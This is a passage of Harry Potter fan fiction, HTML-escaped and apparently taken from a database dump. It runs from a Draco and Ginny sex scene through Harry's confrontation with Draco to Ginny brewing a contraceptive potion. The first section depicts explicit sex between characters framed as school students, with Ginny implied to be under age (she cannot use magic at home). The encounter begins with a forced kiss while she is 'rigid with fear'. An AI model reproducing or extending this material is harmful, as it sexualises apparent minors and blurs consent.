eyes.</p>\n\n<p></p>\n\n<p>&#8220;I <i>hate</i> you,&#8221; she breathed, slowly enunciating each syllable. &#8220;And I hope that your pecker shrivels up and falls off.&#8221;</p>\n\n<p></p>\n\n<p>Sweeping over her body with his eyes, Draco noted that her skin was contracted with goose bumps and those beautiful little nipples were diamond hard under her nightdress. Wasn&#8217;t that interesting?</p>\n\n<p></p>\n\n<p>Draco dropped her fingers and spanned her waist with his hands, pulling her to him. She didn&#8217;t resist, almost as if she were anticipating it. He must remember to get her this riled up every time, it apparently did wonders for her libido.</p>\n\n<p></p>\n\n<p>&#8220;You wouldn&#8217;t <i>really</i> want my pecker to fall off, would you?&#8221; Draco asked, lips twitching.</p>\n\n<p></p>\n\n<p>Ginny stared up at him mutinously. &#8220;Yes,&#8221; she replied firmly.</p>\n\n<p></p>\n\n<p>He sighed. &#8220;This game is very amusing. However, don&#8217;t you think it time we set it aside in favour of more . . . enjoyable pastimes?&#8221;</p>\n\n<p></p>\n\n<p>She faltered then and dropped her gaze to the floor, mumbling. &#8220;What are you on about?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;This,&#8221; Draco gestured to himself and then her. &#8220;The fighting and bickering, the arousal that always follows. I don&#8217;t mind the last, but a man can only take so many hot cuppas to the goods before he becomes slightly wary of the whole notion.&#8221;</p>\n\n<p></p>\n\n<p>Ginny looked back up into his face, searching, but not finding what she was seeking. &#8220;This isn&#8217;t arousal, Draco.&#8221;</p>\n\n<p></p>\n\n<p>He only gave a pointed glance at her straining breasts and the heated flush creeping up her neck. &#8220;Really?&#8221;</p>\n\n<p></p>\n\n<p>She crossed her arms over her chest with a glare. &#8220;Yes.&#8221;</p>\n\n<p></p>\n\n<p>Draco leaned down to kiss her, forcing her mouth open, as she stood rigid with fear. He grabbed the backs of her arms, kneading the soft flesh before she relented and threw herself into the activity with more enthusiasm than even he was expecting. Ginny loosened her arms and her small, curious fingers snaked down his stomach to claw at the edge of his shirt.</p>\n\n<p></p>\n\n<p>Instead of continuing to kiss her as he wanted to do, Draco pulled away and whispered into her ear. &#8220;What is it then?&#8221;</p>\n\n<p></p>\n\n<p>Apparently, once her mind was on something, Ginny had a difficult time letting go of the idea. She demonstrated this by pushing him across the room and into the opposite wall. Draco&#8217;s back hit hard against the plaster, all breath in his lungs escaping with a loud whoosh as he stood there, unable to move from shock.</p>\n\n<p></p>\n\n<p>She attacked.</p>\n\n<p></p>\n\n<p>Ginny reached up her small hands and pulled his face close to hers. &#8220;You&#8217;ve convinced me,&#8221; she said before sucking at his mouth frenziedly.</p>\n\n<p></p>\n\n<p>Draco&#8217;s eyes were still open and wide as saucers. The unexpected perks of arguing with a redhead were suddenly becoming clear. The notion that he was actually seducing her flew directly out the window and he gave up the pretence, quickly becoming an active participant instead of a sounding post for Ginny&#8216;s lust-filled rampage.</p>\n\n<p></p>\n\n<p>Her lips were cool and moist against his as she bit and clawed her way up his frame until she was perched on his hips like a child. Their difference in height soon became unnoticed as she clung to him, digging her cold fingers into his scalp for balance and nibbling on his ear.</p>\n\n<p></p>\n\n<p>There was a fire roaring in his chest. Unlike the previous times it had happened, this was instead a pleasant warmth that spread down into his fingertips. When he dropped one of his hands to push up her nightdress, sparks literally crackled the air. It was a true meeting of witch and wizard unlike any he had experienced before.</p>\n\n<p></p>\n\n<p>Pure lust guided his fingers up her thigh to the nexus between her legs, rubbing the warm spot until he could feel a small liquid gush through the fabric of her knickers. Ginny&#8217;s moans fuelled Draco as he dipped an experimental finger around the lacy edge and past her damp curls, stabbing deeply inside of her.</p>\n\n<p></p>\n\n<p>Ginny gasped and clenched hard on his finger as he plunged it in and out of her overheated flesh rapidly. Her hands slid down to his face, her clever tongue tracing his lips before dipping into his mouth.</p>\n\n<p></p>\n\n<p>Keeping a steady rhythm below, Draco moved his tongue against hers, flicking the inside of her mouth in time to the thrusts of his finger. Ginny&#8217;s hips ground against his hand, swivelling desperately before he removed it.</p>\n\n<p>The low moan from her throat was one of disappointment. She slid down over his hips bonelessly, breaking away from his mouth long enough to pull him onto the bed.</p>\n\n<p></p>\n\n<p>Draco fell on top of her, his weight crushing her breasts against his stomach as she snaked a hand between them to unbutton his trousers.</p>\n\n<p></p>\n\n<p>The tables were turned now.</p>\n\n<p></p>\n\n<p>He reached down and pulled the soft, cotton nightdress over her head and allowed his eyes to wander slowly over her rosy skin. Ginny was pushing his trousers down now, along with his boxers. One flick of Draco&#8217;s hand and the white knickers she was wearing were gone, ripped away at the seams and tossed across the room. He lifted his arms up, letting her slip off his shirt and trail her hands over the soft, abundant hair covering his torso before bringing his mouth down to seal over hers.</p>\n\n<p></p>\n\n<p>Ginny&#8217;s small tongue pushed against his teeth, edging one after the other as Draco pulled her legs up around his hips. Her little fingers, warmed from the heat of their bodies, crept between them to place the tip of his erection at her entrance, rubbing it over her clitoris several times before leaving off to trace her hands over his bottom and up his sides.</p>\n\n<p></p>\n\n<p>Draco allowed it to remain there for a moment, very still until he heard a frustrated rumble start in the back of her throat. Then he tilted his hips forward with a smirk, thrusting himself deep inside of her before pulling back to do it again. </p>\n\n<p></p>\n\n<p>Ginny dug her fingernails into his side, scratching open a mostly healed weal on his back that quickly beaded with blood. Draco bit her tongue with blunt teeth in retaliation before shoving his pelvis hard against her body, making circles with his hips as he moved in and out.</p>\n\n<p></p>\n\n<p>She groaned, releasing his mouth to bite his neck, scraping the skin with her teeth and lips. Draco increased his frenzied rhythm, pounding her into the mattress until she could no longer keep her hold on his neck, but instead concentrated on staying on the bed.</p>\n\n<p></p>\n\n<p>Draco could feel her muscles tightening around him; her body shuddering and he knew that she was close to her release. The hands around his waist were flexing spastically. He decided then that it would be better to make her want him. To keep her coming back for more so he could throw it in her face. </p>\n\n<p></p>\n\n<p>The perfect revenge. </p>\n\n<p></p>\n\n<p>Once more Draco kissed her; bruising her lips between his teeth and grunting into her mouth while pumping the lower half of her body. Ginny gripped his hips with her thighs and dug her heels into his backside, breaking away from his mouth and arching her back so that her soft breasts were in his face. Draco pulled one of her nipples into his mouth, biting and suckling it as he continued to roughly slam his pelvis against hers. At last Ginny stopped quivering, and he softened, sliding out from between her legs.</p>\n\n<p></p>\n\n<p>Draco moved down her body to lay a flushed face on top of her stomach, allowing her to rub her fingers through his hair distractedly. The only sounds between them was their laboured breathing and as long as she was quiet, he would let her continue petting his hair.</p>\n\n<p></p>\n\n<p>&#8220;That was . . .&#8221; Ginny trailed off, blessedly silent again. </p>\n\n<p></p>\n\n<p>Draco grumbled something, his eyes closed and still panting from his exertions. It was all well and good for her, she only had to lie there, <i>he</i> had done all the bloody work. Now if she would shut up, he could finally go to sleep and even have a nice warm pillow besides.</p>\n\n<p></p>\n\n<p>&#8220;We really shouldn&#8217;t do this again. I mean, what would my mum say?&#8221;</p>\n\n<p></p>\n\n<p>God, couldn&#8217;t she put a clamp on it!</p>\n\n<p></p>\n\n<p>Draco pointedly attempted to ignore her, but she prattled on, making his perfect little pillow wobble and shake with each word.</p>\n\n<p></p>\n\n<p>&#8220;Draco? Are you listening to me? I said we shouldn&#8217;t do this again.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Shut your trap, woman and let me sleep,&#8221; he mumbled. Draco could feel her body tense. Wonderful, now she was in a huff.</p>\n\n<p></p>\n\n<p>&#8220;Shut my trap? Get off of me, you disgusting<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>Draco lifted his head and opened one eye, squinting at the faint light from the lamp on the desk. &#8220;Yes, shut your trap. Your stomach happens to be a very comfortable place to have a lie-in and I&#8217;m tired. Can&#8217;t sleep with all that yapping, can I?&#8221;</p>\n\n<p></p>\n\n<p>He didn&#8217;t know where it came from, but Draco suddenly found himself clobbered over the head by a round, wooden object and shoved to the side of the bed. Ginny was shaking with rage, grumbling to herself as she hunted for her nightdress. Finally she found it but didn&#8217;t put it on immediately as she was still too angry to do much more than splutter incoherently.</p>\n\n<p></p>\n\n<p>&#8220;That&#8217;s the last time I ever sleep with you, Draco Malfoy!&#8221; she hissed in a stage whisper.</p>\n\n<p></p>\n\n<p>Draco only raised an eyebrow and rubbed the back of his head. &#8220;I&#8217;ve heard that before, gosling. They always come back, you know.&#8221;</p>\n\n<p></p>\n\n</font><p><font size="4">&#8220;They?&#8221; Ginny asked, standing in the centre of the room with her arms crossed, looking for all the world like a small </font><a href="http://groups.yahoo.com/group/stafic/files/CrossGinny.jpg"><u><font size="4" color="#0000ff">volcano</font></u></a><font size="4"> about to explode. &#8220;Who are they? God, you&#8217;ve probably slept with half the girls in Slytherin, haven&#8217;t you?&#8221;</font></p><font size="4">\n\n<p></p>\n\n<p>Draco shrugged. &#8220;Something like that. You&#8217;re no loss.&#8221; He narrowed his eyes in thought. &#8220;Actually, I take that back. You&#8217;re more cushy than any of the others, and quite the lay.&#8221;</p>\n\n<p></p>\n\n<p>Ginny&#8217;s eyes widened in outrage. She was about to scream, and he couldn&#8217;t have that. It was stupid to mess around with a girl who had . . . five, no six, brothers. But it was even worse to make <i>her</i> angry on top of it all.</p>\n\n<p></p>\n\n<p>&#8220;Oh calm down,&#8221; Draco soothed, sliding off the bed to walk toward her, not ashamed of his nakedness. &#8220;I meant that all in a good way. Really, you are spectacular. Ginny.&#8221; He added this last part to make the message hit home, smiling with all his teeth in what he hoped was a very charming manner.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m <i>cushy</i>?&#8221; she managed to ask in a strangled whisper.</p>\n\n<p></p>\n\n<p>&#8220;Well, of course. Your belly is so soft, and your bottom is padded perfectly.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;<i>Padded</i>!&#8221; Ginny&#8217;s hand flew immediately to her hips, pushing at the small amount of fat tracing them with a sullen finger before reaching up that same hand to smack Draco across the face. &#8220;How dare you say that to me!&#8221;</p>\n\n<p></p>\n\n<p>And away she went, opening the door and slamming it back into its frame, before tromping away up to her room, not wearing a stitch. Draco sighed; there went that lovely, self-heated pillow he&#8217;d wanted. It was damn cold in the room and he shivered, realising that his stones had just shrunk to the size of raisins. Well, if that wouldn&#8217;t impress the girl . . .</p>\n\n<p></p>\n\n<p>He snorted and climbed back into bed, not bothering to clothe his body, but opting instead to burrow under the thick quilts. Draco lifted himself up to beat the feather pillow a few times, trying to get it into the right shape before giving up entirely. Damn her.</p>\n\n<p></p>\n\n<p>She really was comfortable.</p>\n\n<p></p>\n\n<p></p>\n\n<b><p>Reviewing is good karma!</p></b></font>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 15, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">Harry walked out of the kitchen on his way upstairs. Mr and Mrs Weasley had gone from being devastated, to frantic, to stoic in the space of an hour and Harry, who <i>still</i> hadn&#8217;t slept yet, found it all too much to handle.</font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p>He hadn&#8217;t told the Weasleys that he would be gone before they woke up in the morning. Harry regretted his hasty words to Ron earlier, and hadn&#8217;t really planned on leaving. But after a brief talk with Hermione while he walked her to her room, she convinced him that they shouldn&#8217;t stay any longer.</p>\n\n<p></p>\n\n<p>So he had a letter in his pocket, which he had meant to leave on the kitchen table, but was too tired to wait for them to clear out. As he passed the corridor leading to Draco&#8217;s room, he shrugged. Malfoy wouldn&#8217;t feel it was his duty to stop them from leaving, or tell the Weasleys before he and Hermione were gone. So if he gave the letter to him, he might actually pass it along to Mr and Mrs Weasley and Harry could finally get some sleep before the long trek to London in the morning.</p>\n\n<p></p>\n\n<p>Harry stopped on the stairs and turned off towards Draco&#8217;s room. He tapped lightly on the door. Was he asleep? Probably not; it seemed like the boy was always awake and ready to annoy. Harry heard stomping and then the door was flung wide open.</p>\n\n<p></p>\n\n<p>Draco stood at the threshold, fully unclothed. &#8220;Damn it, Gin<font face="Times New Roman">&#8212;</font> &#8221; He stopped and blinked for a moment before hiding behind the door. &#8220;Bloody hell, Potter. What are <i>you </i>doing here?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I, uh<font face="Times New Roman">&#8212;</font> &#8221; Harry took in the state of the room. There was clothing strewn everywhere and the chair at the desk was knocked over. Near the door, there was a white scrap of cloth that suspiciously resembled a pair of women&#8217;s underthings. He scowled and walked into the room, ignoring Draco for a moment.</p>\n\n<p></p>\n\n<p>&#8220;What the hell have you been up to, Malfoy?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What the hell have I<font face="Times New Roman">&#8212;</font> &#8221; Draco stopped and closed the door, picking up the piece of cotton on the floor to cover himself as he edged over to the bed and found his trousers. He slipped them over his hips while Harry turned and studied something on the desk to avoid seeing him.</p>\n\n<p></p>\n\n<p>&#8220;You don&#8217;t have any right barging in here like this, you know,&#8221; Draco continued once he was at least half-clothed. Harry picked up one of the loose cigarettes on the table and put it to his lips, drawing on it deeply before he turned to confront Draco. </p>\n\n<p></p>\n\n<p>Christ, he was a hairy bugger! You&#8217;d have never thought it to look at the guy. But he had what looked like an honest-to-God blonde rug on his chest. Harry thought of his own, almost hairless chest with a pang. It wasn&#8217;t at all fair. Then he noticed the huge purple bruise on the side of Draco&#8217;s neck and forgot all about chest hair.</p>\n\n<p></p>\n\n<p>&#8220;Have you been messing around with Ginny, Malfoy?&#8221;</p>\n\n<p></p>\n\n<p>Draco raised an eyebrow and was attempting to look innocent. &#8220;No, of course not. That would be stupid, what with all those brothers she has and everything.&#8221;</p>\n\n<p></p>\n\n<p>Harry saw right through the act and pierced him with a solid gaze until Draco held his hands up in surrender. </p>\n\n<p></p>\n\n<p>&#8220;All right, so I&#8217;ve been fooling around with her. It doesn&#8217;t mean anything. And it&#8217;s not like it&#8217;s any of <i>your</i> business anyway.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;It is my business when I know that you&#8217;re just a little slime-ball who&#8217;s only after her for . . .&#8221; Harry flushed slightly and raked a hand through his hair, glaring at the floor. &#8220;Well, you know what I mean; and I know that Ginny will be terribly hurt when she finds out.&#8221; </p>\n\n<p></p>\n\n<p>Draco smirked and reached around Harry to grab a cigarette for himself, still grinning as put it to his lips and inhaled. &#8220;Yeah? Well, she&#8217;s the one who jumped me. So why don&#8217;t you go and tell her to keep her little paws off of <i>my </i>delicate sensibilities?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;If that&#8217;s the case, it&#8217;s only because you led her on,&#8221; Harry whispered furiously, finally looking back at Draco instead of the floor.</p>\n\n<p></p>\n\n<p>Waving a finger at him, Draco tutted. &#8220;Ah ah ah, Potter. I don&#8217;t think she really gives a rat&#8217;s knickers whether or not I like her. Truth is, I don&#8217;t and she doesn&#8217;t like me either.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But<font face="Times New Roman">&#8212;</font> &#8221; This confused Harry, who had never learned the concept of the casual conquest that his friends were always talking about. Sure, he&#8217;d slept with a girl at the Quivering Rooster the year before. But that had been once and he still wasn&#8217;t sure whether he liked the whole thing or not. It had been so . . . impersonal. Now here was Malfoy talking about Ginny like she was<font face="Times New Roman">&#8212;</font> but no, not Ginny.</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t believe you, Malfoy,&#8221; Harry stated flatly.</p>\n\n<p></p>\n\n<p>Draco shrugged. &#8220;Suit yourself, but you can go and ask her if you&#8217;d like. I would, but she&#8217;s still cross with me.&#8221;</p>\n\n<p></p>\n\n<p>Harry sniffed and crossed his arms. &#8220;Probably for a damn good reason.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No,&#8221; Draco said, running a thumb under his chin in thought while the cigarette still burned between his fingers. &#8220;I don&#8217;t know what made her so angry, really. I mean, all I said was that she&#8217;s comfortable. That&#8217;s a complement, isn&#8217;t it?&#8221; </p>\n\n<p></p>\n\n<p>&#8220;Comfortable?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Yeah, you know. Padded in the right places. She has this soft belly that I just<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>Harry held up a hand and closed his eyes. &#8220;I don&#8217;t want to hear<font face="Times New Roman">&#8212;</font> &#8221; He stopped and snapped his eyes open again in wonder. &#8220;Hold on. Did you actually <i>tell</i> her that she was, uh, &#8216;padded&#8217;?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Of course.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You must to be the stupidest sod I&#8217;ve ever met.&#8221; Harry burst out, laughing. Draco seemed to be offended and that made him laugh even harder. &#8220;Malfoy, I don&#8217;t profess to know anything about women, but I learned at least one thing about them from watching Hermione and my Aunt Petunia. You don&#8217;t <i>ever</i> imply that they are less than perfect unless you <i>like </i>your bollocks to be wrapped around your knees.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But I didn&#8217;t say anything wro<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;You told her she&#8217;s fat.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, I said that she&#8217;s well padded, there&#8217;s a difference you know. She probably isn&#8216;t even eight stone soaking wet.&#8221;</p>\n\n<p></p>\n\n<p>Harry shook his head and chuckled. It seemed that Draco had dug himself into such a hole that Ginny would probably never want to lay eyes on him again. It didn&#8217;t look like there was any need to interfere after all. Ginny would most likely hex him if he ever came near, much less touched her. And it wasn&#8217;t as if Draco would get off his high horse long enough to actually apologise. Harry couldn&#8217;t resist a good dig though; the opportunity would likely never come again.</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;re not very bright, are you, Malfoy? Women are all<font face="Times New Roman">&#8212;</font> &#8221; Harry waved his hands, trying desperately to indicate something that was escaping him at the moment. </p>\n\n<p></p>\n\n<p>&#8220;Well, they&#8217;re all<font face="Times New Roman">&#8212;</font> sensitive. And they see things that don&#8217;t mean anything as having more importance than the things that <i>do </i>mean something.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;So what should I do?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Probably nothing you can do now. Damage is already done and I&#8217;m glad for it.&#8221;</p>\n\n<p></p>\n\n<p>Draco scowled. &#8220;Oh sod off, Potter. You&#8217;re just jealous because Granger won&#8217;t uncross <i>her </i>legs.&#8221;</p>\n\n<p></p>\n\n<p>Harry&#8217;s face flushed a brilliant shade of red and his hands clenched in anger. &#8220;Don&#8217;t speak about Hermione that way again! I&#8217;m sick of you treating her the way you do.&#8221;</p>\n\n<p></p>\n\n<p>Draco shrugged and sat down on his bed. &#8220;Aw, did I hit a sore spot?&#8221;</p>\n\n<p></p>\n\n<p>The fists by Harry&#8217;s sides unravelled slowly, and he forced himself to keep calm. He was too tired now to put up much of a fight, and he still had to find a way to get Hermione and himself to London in the morning. </p>\n\n<p></p>\n\n<p>&#8220;Look, Malfoy,&#8221; Harry said after he was calmed a little by picking up another cigarette and taking a few deep gulps from it. His nerves were small frazzled bundles already and this was only Malfoy baiting him. It wasn&#8217;t worth it to give the boy the pleasure of making Harry even angrier. &#8220;I came in here to give you this.&#8221;</p>\n\n<p></p>\n\n<p>Draco arched an eyebrow at the paper in Harry&#8217;s hand. &#8220;What&#8217;s that for?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m asking you to give it to Mr Weasley in the morning. I would leave it in the kitchen, but they&#8217;re still talking and I&#8217;m exhausted.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Ah, so you are leaving then.&#8221;</p>\n\n<p></p>\n\n<p>Harry&#8217;s eyes popped in surprise. &#8220;How did you<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;You forget that it was in front of <i>my</i> door you had that little drama earlier. I heard every bloody word.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh.&#8221; Harry looked down at the scrap of parchment in his hand. &#8220;Well, will you give it to them?&#8221;</p>\n\n<p></p>\n\n<p>Draco shrugged and took it from his hand, pocketing it. &#8220;With pleasure.&#8221;</p>\n\n<p></p>\n\n<p>Harry&#8217;s lip bowed in disgust. &#8220;I&#8217;m sure.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;At least I&#8217;m honest, Potter! You&#8217;ve screwed over your best friend just for a spot of naughty. I&#8217;m sure that&#8217;ll sit well with them.&#8221;</p>\n\n<p></p>\n\n<p>That was it!</p>\n\n<p></p>\n\n<p>Harry reached down and seized Draco roughly by the arms, squeezing them tightly. &#8220;I <i>love</i> Hermione,&#8221; he said, bringing his face so close to Draco&#8217;s that they almost bumped noses. &#8220;I need her. But I wouldn&#8217;t expect <i>you</i> to understand that. You wouldn&#8217;t know what love was if it bit you on the arse and screamed in your ear.&#8221;</p>\n\n<p></p>\n\n<p>Draco pushed Harry away from him, standing quickly. &#8220;Love is for fools, Potter. But <i>I</i> wouldn&#8217;t expect you to understand that. All those feelings you have? They&#8217;ll get you or her killed one day. So have fun while you can, because your time will run out eventually and you&#8217;ll be left holding onto an empty shell.&#8221;</p>\n\n<p></p>\n\n<p>The dispassionate twist to his words made Harry shake. Draco had hit upon his every fear so squarely that it made Harry wonder whether he was really that transparent or if the boy had been spouting a universal truth that he&#8217;d somehow missed.</p>\n\n<p></p>\n\n<p>Harry backed out of the room with his eyes on the floor, fumbling for the doorknob behind him. In a daze, he made his way upstairs to Ron&#8217;s bedroom. He had been sleeping there, but he couldn&#8217;t possibly do that now, could he? So instead, he walked back down to the second landing and to the end of the hall until he paused outside of Hermione&#8217;s room. Could he? Harry supposed that it would be okay if he slept in her bed just this once since they would be gone before Mrs Weasley woke.</p>\n\n<p></p>\n\n<p>Harry opened the door a crack, letting the light from the corridor shine into the room.</p>\n\n<p></p>\n\n<p>&#8220;Hermione?&#8221; he whispered. &#8220;Are you awake?&#8221;</p>\n\n<p></p>\n\n<p>There was no answer of course as the girl was very much asleep. Harry sighed and took off his shoes, closing the door behind him and tiptoeing carefully over to where she lay sleeping. </p>\n\n<p></p>\n\n<p>A half moon hung in the sky outside of her window and the pale light washed over her features, softening the bushy hair into a dark halo and relaxing the frown lines that had started to appear on her forehead. She really was beautiful.</p>\n\n<p></p>\n\n<p>Harry shook her lightly on the shoulder. &#8220;Hermione, do you mind if I sleep with you tonight? I don&#8217;t want to bother Ron if I can help it.&#8221;</p>\n\n<p></p>\n\n<p>Her eyes opened blearily and she took in his shadowy form with a yawn. &#8220;Of course, Harry. I don&#8217;t mind.&#8221;</p>\n\n<p></p>\n\n<p>Harry set his glasses on her night table and climbed over her body to be between her and the wall, almost stepping on Crookshanks as he burrowed under the covers and pulled her back against his chest. She muttered something contentedly under her breath before the deep even breathing and occasional soft snore told him that she was asleep again. He held her close to him, still fully clothed, for a long time.</p>\n\n<p></p>\n\n<p>Even though he hadn&#8217;t slept in going on two days, Harry was having difficulty falling asleep. He wanted to savour the feel of her in his arms forever. It relaxed him and made him realise what had been missing that time he&#8217;d been with the girl from the Quivering Rooster.</p>\n\n<p></p>\n\n<p>The feeling of warmth and friendship and familiarity, of true intimacy. That&#8217;s what he had missed. But now he felt other things and it scared him. Malfoy was probably right, the little voice in his head was probably right; Hermione could be taken from him easily. On a whim Voldemort could creep up one summer while she was with her family and they wouldn&#8217;t know what hit them. </p>\n\n<p></p>\n\n<p>She&#8217;d be gone forever.</p>\n\n<p></p>\n\n<p>Harry shivered and pulled Hermione a little closer, his arms squeezing her carefully around the middle in an attempt to keep the fear at bay. As Harry started drifting off to sleep, his only thought was that he would never let her go anywhere again without being by her side.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Ginny tossed and turned in her bed. She was still so angry with Draco that it kept her awake. That and the nagging feeling that she had forgotten something. More than the incident with Draco earlier, that sense of something important pressed on her. What was it that she couldn&#8217;t remember?</p>\n\n<p></p>\n\n<p>She sat upright and turned the flame up on her bedside lamp, flooding the room with light. Her room seemed the same as it always had, full of fluffy little stuffed animals and posters of the Holyhead Harpies on the walls. Nothing was out of place. Ginny swung her feet over the bed and walked around, glancing at her books and the half-done schoolwork on her desk. She shook her head. </p>\n\n<p></p>\n\n<p>That wasn&#8217;t it.</p>\n\n<p></p>\n\n<p>But beside the essay on Ashwinder eggs, lay her potions kit and suddenly she remembered, sighing with relief and walking over to it quickly. Ginny thanked whatever was looking out for her that the answer had come to her at all. Perish the thought of more Malfoy brats running around, much less that they be <i>her</i> Malfoy brats.</p>\n\n<p></p>\n\n<p>Ginny shivered and pulled out an old copy of <i>Witch&#8217;s Weekly</i>, absentmindedly flipping through until she found the potion she was looking for. A vial of slippery elm essence was taken from her kit and she pulled out her cauldron, pouring a measured dose inside and heating the bottom with a small candle she kept for potion making at home. A single Diricrawl feather followed the liquid and Ginny hunted around for some powdered Glumbumble treacle and tapped a very small amount of it into her cauldron, stirring constantly while patting the table down for some frozen Flobberworms. </p>\n\n<p></p>\n\n<p>Getting frustrated, Ginny stopped stirring and upended her potions kit. When she found the box of frozen Flobberworms, she let out a small howl of anger and threw it against the wall. The damn thing was empty!</p>\n\n<p></p>\n\n<p>Quickly, Ginny grabbed her spoon and began swirling the potion around to keep it from burning. She thought about it for a moment and shrugged. Flobberworms didn&#8217;t add anything really; they only thickened it up. So what if the potion was a little thin? It would do.</p>\n\n<p></p>\n\n<p>She let the potion come to a boil before blowing out the candle underneath. What she wouldn&#8217;t give for the use of her wand just then. As it was though, Ginny had to wait for the potion to cool. She poked at it with her spoon and noticed that it was the proper silvery-blue colour. </p>\n\n<p></p>\n\n<p>&#8220;Like his eyes,&#8221; she muttered. &#8220;Blast the pair of them, too.&#8221; </p>\n\n<p></p>\n\n<p>Ginny sniffed and filled the bowl of the spoon with some of the thin liquid, pursing her lips to blow on it in an attempt to make it cool down faster. Being impatient though, she swallowed it down in one gulp, making a face at both the bitter taste and the heat.</p>\n\n<p></p>\n\n<p>Waving a hand over her tongue, Ginny blinked a few times and put away her potion things, pouring the remainder of the birth control potion into an empty vial. It was best to keep it, just in case. In case of what though, she didn&#8217;t know since she was bound and damned determined <i>never</i> to sleep with Malfoy again.</p>\n\n<p></p>\n\n<p>And he <i>was</i> Malfoy again. Not &#8216;Draco&#8217;. No, no, no, he would remain &#8216;just Malfoy&#8217; until the day she died. Stupid, stupid thing to do. He said that her hips were <i>padded</i>! The sheer nerve of the prat still had her reeling. And to think that she was the one who jumped on him!</p>\n\n<p></p>\n\n<p>Shaking her head at her own foolishness, Ginny turned the knob on her lamp, making the flame go down once more until it was almost completely out and crawled into bed.</p>\n\n<p></p>\n\n<p>Then there was a light tap on the door and she groaned. Who the hell was bothering her at this time of night? It wouldn&#8217;t be Draco. Malfoy. Damn that git. It had better not be him or she&#8217;d wring his neck.</p>\n\n<p></p>\n\n<p>Ginny opened the door and there he stood, not looking at all apologetic for what he had said earlier.</p>\n\n<p></p>\n\n<p>&#8220;What do <i>you</i> want?&#8221; she hissed at him, glancing down the hall to make sure that Ron and her parents were still in their rooms.</p>\n\n<p></p>\n\n<p>Draco ignored what she said and pushed past her, taking in her bedroom with a sweep of his silvery-blue eyes, even though it was dark and he couldn\'t possibly <i>see</i> anything. &#8220;Well, isn&#8217;t this . . . cute.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I asked what do you want. Or are you deaf as well as stupid?&#8221; Ginny was fuming as she closed the door, softly though so as not to waken sleeping red-haired giants who would be just as displeased with Ginny to see a boy in her room late at night and would probably kill them both instead of just Draco.</p>\n\n<p></p>\n\n<p>He raised an eyebrow and glanced at her from the corner of his eye. Ginny could only make this out by the faint gleam of moonlight on the white part of his eye contrasting with his dilated pupil. </p>\n\n<p></p>\n\n<p>&#8220;I had a chat with Potter earlier and he led me to believe that what I said to you before may have been taken in a different way from how I&#8217;d meant it.&#8221;</p>\n\n<p></p>\n\n<p>Ginny frowned for a moment. &#8220;Did you tell Harry about . . .&#8221; She trailed off, unable to actually vocalise what she was referring too. There was no need, however, as he understood what she meant.</p>\n\n<p></p>\n\n<p>&#8220;No, he figured it out himself when he saw your knickers on the floor. Along with the broken chair. Or it may have been the fact that I opened the door stark naked and started to call him by your name.&#8221;</p>\n\n<p></p>\n\n<p>After a brief silence, Ginny laughed despite herself. It really was too amusing. She bit her tongue just as she was about to snarkily ask why Harry had been in his room in the first place, but that seemed too cruel to say, even to him, in light of recent developments.</p>\n\n<p></p>\n\n<p>&#8220;Well, I hope that you at least cleaned the place up.&#8221;</p>\n\n<p></p>\n\n<p>She could feel rather than see the embarrassed flush creeping over his cheeks. Apparently he hadn&#8217;t thought that far ahead. </p>\n\n<p></p>\n\n<p>&#8220;So, is there a reason for this nocturnal visit? If you think I&#8217;m sleeping with you again, you&#8217;ve gone round the twist.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Actually, I came to clear things up. Believe it or not, I don&#8217;t like to be misunderstood.&#8221;</p>\n\n<p></p>\n\n<p>Ginny snickered while he continued. &#8220;No, I&#8217;m serious. When I insult someone, I want them to know it. It isn&#8217;t any fun if they don&#8217;t understand.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh, so noble of you, Malfoy.&#8221; She crossed her arms and waited for him to finish what he had to say so she could bung him out on his nose.</p>\n\n<p></p>\n\n<p>&#8220;I mean it. Now, what did I say earlier that made you tear out of the room like you had a Skrewt attached to your arse?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;It was just you being you, Malfoy. You&#8217;re a stupid git and I should never have slept with you.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Ah,&#8221; he traced over her arm with a careful finger. &#8220;But you did. No taking that back, is there?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No,&#8221; Ginny ground out. &#8220;There isn&#8217;t. But it would help tremendously if you would leave so I could forget about the whole thing.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Do you really want me to leave?&#8221;</p>\n\n<p></p>\n\n<p>Ginny uncrossed her arms and held them out, 